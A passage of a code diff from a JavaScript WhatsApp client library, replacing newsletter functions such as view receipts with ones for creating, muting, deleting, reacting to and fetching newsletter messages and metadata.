- Types.XWAPaths.xwa2_newsletter_update_user_setting
722
- ),
723
-
724
- /**
725
- * Fetch newsletter ranking features (ML signals).
726
- */
727
- newsletterRankingFeatures: async jid =>
728
- mexQuery(
729
- { newsletter_id: jid },
730
- Types.QueryIds.RANKING_FEATURES,
731
- Types.XWAPaths.xwa2_newsletter_ranking_features
732
- ),
733
-
734
- /**
735
- * Send view receipts for newsletter messages.
736
- */
737
- newsletterSendViewReceipt: async (jid, serverMessageIds) => {
738
- const ids = Array.isArray(serverMessageIds)? serverMessageIds : [serverMessageIds]
739
- const receiptId = generateMessageTag()
740
- await query({
741
- tag: 'receipt',
742
- attrs: {
743
- to: jid,
744
- id: receiptId,
745
- type: 'view'
168
+ newsletterMute: async (jid) => {
169
+ await newsletterWMexQuery(jid, QueryIds.MUTE);
170
+ },
171
+ newsletterCreate: async (name, description, picture) => {
172
+ await query({
173
+ tag: 'iq',
174
+ attrs: {
175
+ to: S_WHATSAPP_NET,
176
+ xmlns: 'tos',
177
+ id: generateMessageTag(),
178
+ type: 'set'
179
+ },
180
+ content: [
181
+ {
182
+ tag: 'notice',
183
+ attrs: {
184
+ id: '20601218',
185
+ stage: '5'
186
+ },
187
+ content: []
188
+ }
189
+ ]
190
+ });
191
+ const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
192
+ input: {
193
+ name,
194
+ description: description ?? null,
195
+ picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
196
+ settings: null
197
+ }
198
+ });
199
+ return extractNewsletterMetadata(result, true);
200
+ },
201
+ newsletterMetadata: async (type, key, role) => {
202
+ const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
203
+ input: {
204
+ key,
205
+ type: type.toUpperCase(),
206
+ view_role: role || 'GUEST'
207
+ },
208
+ fetch_viewer_metadata: true,
209
+ fetch_full_image: true,
210
+ fetch_creation_time: true
211
+ });
212
+ return extractNewsletterMetadata(result);
213
+ },
214
+ newsletterAdminCount: async (jid) => {
215
+ const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
216
+ const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
217
+ return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
218
+ },
219
+ /**user is Lid, not Jid */
220
+ newsletterChangeOwner: async (jid, user) => {
221
+ await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
222
+ user_id: user
223
+ });
746
224
  },
747
- content: [
748
- {
749
- tag: 'list',
750
- attrs: {},
751
- content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
752
- }
753
- ]
754
- })
755
- }
756
- }
757
- }
225
+ /**user is Lid, not Jid */
226
+ newsletterDemote: async (jid, user) => {
227
+ await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
228
+ user_id: user
229
+ });
230
+ },
231
+ newsletterDelete: async (jid) => {
232
+ await newsletterWMexQuery(jid, QueryIds.DELETE);
233
+ },
234
+ /**if code wasn't passed, the reaction will be removed (if is reacted) */
235
+ newsletterReactMessage: async (jid, server_id, code) => {
236
+ await query({
237
+ tag: 'message',
238
+ attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
239
+ content: [{
240
+ tag: 'reaction',
241
+ attrs: code ? { code } : {}
242
+ }]
243
+ });
244
+ },
245
+ newsletterFetchMessages: async (type, key, count, after) => {
246
+ const afterStr = after?.toString();
247
+ const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
248
+ {
249
+ tag: 'messages',
250
+ attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
251
+ }
252
+ ]);
253
+ return await parseFetchedUpdates(result, 'messages');
254
+ },
255
+ newsletterFetchUpdates: async (jid, count, after, since) => {
256
+ const result = await newsletterQuery(jid, 'get', [
257
+ {
258
+ tag: 'message_updates',
259
+ attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
260
+ }
261
+ ]);
262
+ return await parseFetchedUpdates(result, 'updates');
263
+ }
264
+ };
265
+ };
266
+
267
+ export const extractNewsletterMetadata = (node, isCreate) => {
268
+ const result = getBinaryNodeChild(node, 'result')?.content?.toString();
269
+ const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
270
+ const metadata = {
271
+ id: metadataPath.id,
272
+ state: metadataPath.state.type,
273
+ creation_time: +metadataPath.thread_metadata.creation_time,
274
+ name: metadataPath.thread_metadata.name.text,
275
+ nameTime: +metadataPath.thread_metadata.name.update_time,
276
+ description: metadataPath.thread_metadata.description.text,
277
+ descriptionTime: +metadataPath.thread_metadata.description.update_time,
278
+ invite: metadataPath.thread_metadata.invite,
279
+ handle: metadataPath.thread_metadata.handle,
280
+ picture: metadataPath.thread_metadata.picture?.direct_path || null,
281
+ preview: metadataPath.thread_metadata.preview?.direct_path || null,
282
+ reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
283
+ subscribers: +metadataPath.thread_metadata.subscribers_count,
284
+ verification: metadataPath.thread_metadata.verification,
285
+ viewer_metadata: metadataPath.viewer_metadata
286
+ };
287
+ return metadata;
288
+ };